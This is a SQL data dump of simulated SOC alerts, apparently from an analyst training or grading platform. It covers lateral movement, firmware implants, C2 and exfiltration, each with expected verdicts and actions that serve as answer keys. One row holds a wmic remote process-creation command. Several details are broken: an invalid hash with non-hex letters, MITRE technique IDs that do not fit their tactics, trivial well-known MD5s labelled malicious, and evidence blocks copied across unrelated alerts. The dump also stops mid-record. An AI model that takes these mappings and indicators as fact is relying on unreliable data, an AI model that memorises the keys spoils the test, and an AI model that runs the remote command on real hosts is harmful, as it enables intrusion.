(322, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'With a foothold established, the attacker moves laterally within the network, using legitimate administrative tools to avoid detection while searching for valuable data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:25:36Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"192.168.1.150\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"admin_jdoe\",\"used_tool\":\"wmic\",\"command\":\"wmic /node:192.168.1.150 process call create \'cmd.exe /c whoami\'\",\"file_hash\":\"3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\",\"detected_protocol\":\"SMB\",\"log_type\":\"network_traffic\"}', '2026-01-02 20:23:41', '2026-03-09 02:57:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of potential compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Known administrative account used in lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash of a tool commonly used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(323, 'Data Exfiltration Attempt', 'high', 'Firewall Logs', 'APT10 attempts to exfiltrate the gathered data using encrypted channels to evade detection by security mechanisms, completing their operation.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:32:16Z\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"action\":\"allow\",\"bytes_sent\":10485760,\"username\":\"internal_user\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filenames\":[\"confidential_data.zip\"],\"firewall_rule\":\"Allow_HTTPS_Traffic\",\"geo_location\":\"External - United States\",\"alerts\":[\"Large data transfer detected\",\"Suspicious outbound connection\"]}', '2026-01-02 20:23:41', '2026-03-09 02:59:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT10.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent malware campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(324, 'Suspicious Network Traffic Detected', 'high', 'Firewall Logs', 'Unusual outbound traffic patterns detected from the enterprise firewall, possibly indicating unauthorized access attempts. The traffic originates from an internal IP and targets an external IP known for hosting malicious content. This activity suggests the initial access phase of an intrusion operation.', 'Initial Access', 'T1078: Valid Accounts', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-15T14:25:30Z\",\"firewall_id\":\"FW123456\",\"src_ip\":\"10.0.5.23\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"src_port\":44321,\"dst_port\":8080,\"action\":\"allowed\",\"username\":\"jdoe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"suspicious_payload.exe\",\"bytes_out\":10240,\"bytes_in\":2048}', '2026-01-02 20:29:44', '2026-03-09 03:01:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of the suspected compromised account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash related to a suspicious file payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"suspicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File name indicative of malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(325, 'Malicious Firmware Update Detected', 'critical', 'Firewall Management Console', 'A rogue firmware update was installed on the firewall, allowing the attacker to execute code at a low level. Immediate action is required to mitigate potential threats.', 'Execution', 'T1496', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_type\":\"firmware_update\",\"source_ip\":\"185.143.223.91\",\"destination_ip\":\"192.168.1.1\",\"user\":\"admin\",\"firmware_version\":\"v5.3.2\",\"action\":\"update_executed\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"update_file\":\"firmware_update_v5.3.2.bin\",\"status\":\"completed\",\"message\":\"Firmware update executed successfully. No errors reported.\",\"suspicious_indicators\":{\"source_ip\":\"185.143.223.91\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}}', '2026-01-02 20:29:44', '2026-03-09 03:04:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.91\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous targeted attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal firewall device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash belongs to a known malicious firmware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"firmware_update_v5.3.2.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Repository\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(326, 'Persistence Mechanism Established', 'critical', 'Firmware Integrity Checks', 'The implant modifies the SPI flash memory, embedding itself to persist through reboots. This ensures the implant survives reboots and OS re-installations.', 'Persistence', 'T1105: Ingress Tool Transfer', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:22:08Z\",\"event_id\":\"FW-INT-CHK-2023\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"detected_hash\":\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\",\"modified_firmware\":\"/dev/mtd0\",\"username\":\"admin\",\"alert_message\":\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\",\"severity\":\"Critical\",\"protocol\":\"SPI\",\"action_taken\":\"None\",\"firmware_version\":\"v1.4.3\"}', '2026-01-02 20:29:44', '2026-03-09 03:05:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known firmware backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/dev/mtd0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Critical firmware storage location.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Authentication Logs\",\"verdict\":\"clean\",\"details\":\"Standard administrative account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:08Z\\\",\\\"event_id\\\":\\\"FW-INT-CHK-2023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"detected_hash\\\":\\\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\\",\\\"modified_firmware\\\":\\\"/dev/mtd0\\\",\\\"username\\\":\\\"admin\\\",\\\"alert_message\\\":\\\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\\\",\\\"severity\\\":\\\"Critical\\\",\\\"protocol\\\":\\\"SPI\\\",\\\"action_taken\\\":\\\"None\\\",\\\"firmware_version\\\":\\\"v1.4.3\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:08Z\\\",\\\"event_id\\\":\\\"FW-INT-CHK-2023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"detected_hash\\\":\\\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\\",\\\"modified_firmware\\\":\\\"/dev/mtd0\\\",\\\"username\\\":\\\"admin\\\",\\\"alert_message\\\":\\\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\\\",\\\"severity\\\":\\\"Critical\\\",\\\"protocol\\\":\\\"SPI\\\",\\\"action_taken\\\":\\\"None\\\",\\\"firmware_version\\\":\\\"v1.4.3\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:08Z\\\",\\\"event_id\\\":\\\"FW-INT-CHK-2023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"detected_hash\\\":\\\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\\",\\\"modified_firmware\\\":\\\"/dev/mtd0\\\",\\\"username\\\":\\\"admin\\\",\\\"alert_message\\\":\\\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\\\",\\\"severity\\\":\\\"Critical\\\",\\\"protocol\\\":\\\"SPI\\\",\\\"action_taken\\\":\\\"None\\\",\\\"firmware_version\\\":\\\"v1.4.3\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:08Z\\\",\\\"event_id\\\":\\\"FW-INT-CHK-2023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"detected_hash\\\":\\\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\\",\\\"modified_firmware\\\":\\\"/dev/mtd0\\\",\\\"username\\\":\\\"admin\\\",\\\"alert_message\\\":\\\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\\\",\\\"severity\\\":\\\"Critical\\\",\\\"protocol\\\":\\\"SPI\\\",\\\"action_taken\\\":\\\"None\\\",\\\"firmware_version\\\":\\\"v1.4.3\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:08Z\\\",\\\"event_id\\\":\\\"FW-INT-CHK-2023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"detected_hash\\\":\\\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\\",\\\"modified_firmware\\\":\\\"/dev/mtd0\\\",\\\"username\\\":\\\"admin\\\",\\\"alert_message\\\":\\\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\\\",\\\"severity\\\":\\\"Critical\\\",\\\"protocol\\\":\\\"SPI\\\",\\\"action_taken\\\":\\\"None\\\",\\\"firmware_version\\\":\\\"v1.4.3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(327, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'The attacker uses the compromised firewall to probe internal network components, seeking further access.', 'Lateral Movement', 'T1021', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":3389,\"action\":\"allowed\",\"username\":\"compromised_user\",\"filename\":\"malicious_payload.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_id\":\"1001\",\"message\":\"Suspicious lateral movement detected from compromised firewall to internal systems.\"}', '2026-01-02 20:29:44', '2026-03-09 03:06:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with multiple attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a critical server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account showing unusual activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File identified as malware by multiple antivirus engines.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"SHA256 Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(328, 'Command and Control Channel Established', 'high', 'Network Intrusion Detection System', 'Encrypted traffic is observed between the compromised firewall and an external server, indicating active C2 communication.', 'C2 Communication', 'T1071.001', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:23:07Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"TLS\",\"session_id\":\"3f4e1ab7c9d4\",\"encrypted_bytes\":1520,\"decrypted_bytes\":0,\"tls_version\":\"TLS 1.2\",\"cipher_suite\":\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\"host\":\"compromised-firewall.local\",\"username\":\"jdoe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_id\":\"C2-2023-0005\",\"malware_family\":\"APT29\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\"},{\"type\":\"username\",\"value\":\"jdoe\"}]}', '2026-01-02 20:29:44', '2026-03-09 03:08:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT29 malware.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(329, 'Data Exfiltration Attempt Detected', 'high', 'Data Loss Prevention System', 'Data packets containing sensitive information are detected being sent to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:23:37Z\",\"event_id\":\"EXF-20231015-002\",\"internal_ip\":\"192.168.1.25\",\"external_ip\":\"203.0.113.45\",\"filename\":\"confidential_report.pdf\",\"user\":\"jdoe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"action\":\"blocked\",\"description\":\"Attempted data exfiltration detected and blocked by DLP system.\"}', '2026-01-02 20:29:44', '2026-03-09 03:09:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal inventory\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal inventory\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive information\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash linked to suspicious activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.923Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:37Z\\\",\\\"event_id\\\":\\\"EXF-20231015-002\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.923Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:37Z\\\",\\\"event_id\\\":\\\"EXF-20231015-002\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.923Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:37Z\\\",\\\"event_id\\\":\\\"EXF-20231015-002\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.923Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:37Z\\\",\\\"event_id\\\":\\\"EXF-20231015-002\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.923Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 